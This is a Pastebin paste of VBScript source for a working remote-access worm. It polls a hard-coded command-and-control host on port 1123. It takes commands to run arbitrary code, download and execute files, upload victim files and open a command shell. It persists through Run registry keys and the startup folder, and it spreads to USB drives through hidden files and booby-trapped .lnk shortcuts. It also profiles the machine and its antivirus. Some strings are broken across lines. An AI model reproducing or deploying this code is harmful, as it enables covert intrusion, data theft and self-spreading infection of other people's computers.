Guest User

Untitled

a guest
Nov 25th, 2014
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 11.56 KB | None | 0 0
  1. host="local.my-router.de"
  2. port=1123
  3. installdir="%temp%"
  4. lnkfile=true
  5. lnkfolder=true
  6. dim shellobj
  7. set shellobj=wscript.createobject("wscript.shell")
  8. dim filesystemobj
  9. set filesystemobj=createobject("scripting.filesystemobject")
  10. dim httpobj
  11. set httpobj=createobject("msxml2.xmlhttp")
  12. installname=wscript.scriptname
  13. startup=shellobj.specialfolders("startup")&"\"
  14. installdir=shellobj.expandenvironmentstrings(installdir)&"\"
  15. if not filesystemobj.folderexists(installdir)then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"
  16. end if
  17. spliter="<|>"
  18. sleep=5000
  19. dim response
  20. dim cmd
  21. dim param
  22. info=""
  23. usbspreading=""
  24. startdate=""
  25. dim oneonce
  26. on error resume next
  27. instance
  28. while true
  29. install
  30. response=""
  31. response=post("is-ready","")
  32. cmd=split(response,spliter)
  33. select case cmd(0)
  34. case"excecute"
  35. param=cmd(1)
  36. execute param
  37. case"update"
  38. param=cmd(1)
  39. oneonce.close
  40. set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)
  41. oneonce.write param
  42. oneonce.close
  43. shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
  44. wscript.quit
  45. case"uninstall"
  46. uninstall
  47. case"send"
  48. download cmd(1),cmd(2)
  49. case"site-send"
  50. sitedownloader cmd(1),cmd(2)
  51. case"recv"
  52. param=cmd(1)
  53. upload(param)
  54. case"enum-driver"
  55. post"is-enum-driver",enumdriver
  56. case"enum-faf"
  57. param=cmd(1)
  58. post"is-enum-faf",enumfaf(param)
  59. case"enum-process"
  60. post"is-enum-process",enumprocess
  61. case"cmd-shell"
  62. param=cmd(1)
  63. post"is-cmd-shell",cmdshell(param)
  64. case"delete"
  65. param=cmd(1)
  66. deletefaf(param)
  67. case"exit-process"
  68. param=cmd(1)
  69. exitprocess(param)
  70. case"sleep"
  71. param=cmd(1)
  72. sleep=eval(param)
  73. end select
  74. wscript.sleep sleep
  75. wend
  76.  
  77. sub install
  78. on error resume next
  79. dim lnkobj
  80. dim filename
  81. dim foldername
  82. dim fileicon
  83. dim foldericon
  84. upstart
  85. for each drive in filesystemobj.drives
  86. if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true
  87. if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4
  88. end if
  89. for each file in filesystemobj.getfolder(drive.path&"\").files
  90. if not lnkfile then exit for
  91. end if
  92. if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4
  93. if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
  94. set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")
  95. lnkobj.windowstyle=7
  96. lnkobj.targetpath="cmd.exe"
  97. lnkobj.workingdirectory=""
  98. lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"
  99. fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")
  100. if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path
  101. else lnkobj.iconlocation=fileicon
  102. end if
  103. lnkobj.save()
  104. end if
  105. end if
  106. end if
  107. next
  108. for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
  109. if not lnkfolder then exit for
  110. end if
  111. folder.attributes=2+4
  112. foldername=folder.name
  113. set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")
  114. lnkobj.windowstyle=7
  115. lnkobj.targetpath="cmd.exe"
  116. lnkobj.workingdirectory=""
  117. lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"
  118. foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")
  119. if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path
  120. else lnkobj.iconlocation=foldericon
  121. end if
  122. lnkobj.save()
  123. next
  124. end if
  125. end if
  126. end if
  127. next
  128. err.clear
  129. end sub
  130.  
  131. sub uninstall
  132. on error resume next
  133. dim filename
  134. dim foldername
  135. shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
  136. shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
  137. filesystemobj.deletefile startup&installname,true
  138. filesystemobj.deletefile wscript.scriptfullname,true
  139. for each drive in filesystemobj.drives
  140. if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files
  141. on error resume next
  142. if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0
  143. if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
  144. filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")
  145. else filesystemobj.deletefile(drive.path&"\"&file.name)
  146. end if
  147. else filesystemobj.deletefile(file.path)
  148. end if
  149. end if
  150. next
  151. for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
  152. folder.attributes=0
  153. next
  154. end if
  155. end if
  156. end if
  157. next
  158. wscript.quit
  159. end sub
  160.  
  161.  
  162. function post(cmd,param)
  163. post=param
  164. httpobj.open"post","http
  165. //"& host&"
  166. "&port&"/"&cmd,false
  167. httpobj.setrequestheader"user-agent
  168. ",information
  169. httpobj.send param
  170. post=httpobj.responsetext
  171.  
  172. end function
  173.  
  174. function information
  175. on error resume next
  176. if inf=""then inf=hwid&spliter
  177. inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter
  178. inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter
  179. set root=getobject("winmgmts
  180. {impersonationlevel=impersonate}!\\.\root\cimv2")
  181. set os=root.execquery("select * from win32_operatingsystem")
  182. for each osinfo in os
  183. inf=inf& osinfo.caption&spliter
  184. exit for
  185. next
  186. inf=inf&"plus"&spliter
  187. inf=inf&security&spliter
  188. inf=inf&usbspreading
  189. information=inf
  190. else information=inf
  191. end if
  192. end function
  193.  
  194. sub upstart()
  195. on error resume next
  196. shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
  197. shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
  198. filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true
  199. filesystemobj.copyfile wscript.scriptfullname,startup&installname,true
  200. end sub
  201.  
  202. function hwid
  203. on error resume next
  204. set root=getobject("winmgmts
  205. {impersonationlevel=impersonate}!\\.\root\cimv2")
  206. set disks=root.execquery("select * from win32_logicaldisk")
  207. for each disk in disks
  208. if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber
  209. exit for
  210. end if
  211. next
  212. end function
  213.  
  214. function security
  215. on error resume next
  216. security=""
  217. set objwmiservice=getobject("winmgmts
  218. {impersonationlevel=impersonate}!\\.\root\cimv2")
  219. set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)
  220. for each objitem in colitems
  221. versionstr=split(objitem.version,".")
  222. next
  223. versionstr=split(colitems.version,".")
  224. osversion=versionstr(0)&"."
  225. for x=1 to ubound(versionstr)
  226. osversion=osversion&versionstr(i)
  227. next
  228. osversion=eval(osversion)
  229. if osversion>6 then sc="securitycenter2"else sc="securitycenter"
  230. end if
  231. set objsecuritycenter=getobject("winmgmts
  232. \\localhost\root\"&sc)
  233. set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  234. for each objantivirus in colantivirus
  235. security=security& objantivirus.displayname&" ."
  236. next
  237. if security=""then security="nan-av"
  238. end if
  239. end function
  240.  
  241. function instance
  242. on error resume next
  243. usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")
  244. if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="
  245. \"&lcase(installname)then usbspreading="true - "&date
  246. shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
  247. else usbspreading="false - "&date
  248. shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
  249. end if
  250. end if
  251. upstart
  252. set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)
  253. set installfullnameshort=filesystemobj.getfile(installdir&installname)
  254. if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
  255. wscript.quit
  256. end if
  257. err.clear
  258. set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)
  259. if err.number>0 then wscript.quit
  260. end if
  261. end function
  262.  
  263. sub sitedownloader(fileurl,filename)
  264. strlink=fileurl
  265. strsaveto=installdir&filename
  266. set objhttpdownload=createobject("msxml2.xmlhttp")
  267. objhttpdownload.open"get",strlink,false
  268. objhttpdownload.send
  269. set objfsodownload=createobject("scripting.filesystemobject")
  270. if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
  271. end if
  272. if objhttpdownload.status=200 then dim objstreamdownload
  273. set objstreamdownload=createobject("adodb.stream")
  274. with objstreamdownload
  275. .type=1
  276. .open
  277. .write objhttpdownload.responsebody
  278. .savetofile strsaveto
  279. .close
  280. end with
  281. set objstreamdownload=nothing
  282. end if
  283. if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
  284. end if
  285. end sub
  286.  
  287. sub download(fileurl,filedir)
  288. if filedir=""then filedir=installdir
  289. end if
  290. strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)
  291. set objhttpdownload=createobject("msxml2.xmlhttp")
  292. objhttpdownload.open"post","http
  293. //"& host&"
  294. "&port&"/is-sending"&spliter&fileurl,false
  295. objhttpdownload.send""
  296. set objfsodownload=createobject("scripting.filesystemobject")
  297. if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
  298. end if
  299. if objhttpdownload.status=200 then dim objstreamdownload
  300. set objstreamdownload=createobject("adodb.stream")
  301. with objstreamdownload
  302. .type=1
  303. .open
  304. .write objhttpdownload.responsebody
  305. .savetofile strsaveto
  306. .close
  307. end with
  308. set objstreamdownload=nothing
  309. end if
  310. if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
  311. end if
  312. end sub
  313.  
  314. function upload(fileurl)
  315. dim httpobj,objstreamuploade,buffer
  316. set objstreamuploade=createobject("adodb.stream")
  317. with objstreamuploade
  318. .type=1
  319. .open
  320. .loadfromfile fileurl
  321. buffer=.read
  322. .close
  323. end with
  324. set objstreamdownload=nothing
  325. set httpobj=createobject("msxml2.xmlhttp")
  326. httpobj.open"post","http
  327. //"& host&"
  328. "&port&"/is-recving"&spliter&fileurl,false
  329. httpobj.send buffer
  330. end function
  331. function enumdriver()
  332. for each drive in filesystemobj.drives
  333. if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter
  334. end if
  335. next
  336. end function
  337. function enumfaf(enumdir)
  338. enumfaf=enumdir&spliter
  339. for each folder in filesystemobj.getfolder(enumdir).subfolders
  340. enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter
  341. next
  342. for each file in filesystemobj.getfolder(enumdir).files
  343. enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter
  344. next
  345. end function
  346. function enumprocess()
  347. on error resume next
  348. set objwmiservice=getobject("winmgmts
  349. \\.\root\cimv2")
  350. set colitems=objwmiservice.execquery("select * from win32_process",,48)
  351. dim objitem
  352. for each objitem in colitems
  353. enumprocess=enumprocess& objitem.name&"|"
  354. enumprocess=enumprocess& objitem.processid&"|"
  355. enumprocess=enumprocess& objitem.executablepath&spliter
  356. next
  357. end function
  358.  
  359. sub exitprocess(pid)
  360. on error resume next
  361. shellobj.run"taskkill /f /t /pid "&pid,7,true
  362. end sub
  363.  
  364. sub deletefaf(url)
  365. on error resume next
  366. filesystemobj.deletefile url
  367. filesystemobj.deletefolder url
  368. end sub
  369.  
  370. function cmdshell(cmd)
  371. dim httpobj,oexec,readallfromany
  372. set oexec=shellobj.exec("%comspec% /c "&cmd)
  373. if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall
  374. else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall
  375. else readallfromany=""
  376. end if
  377. end if
  378. cmdshell=readallfromany
  379. end function
Add Comment
Please, Sign In to add comment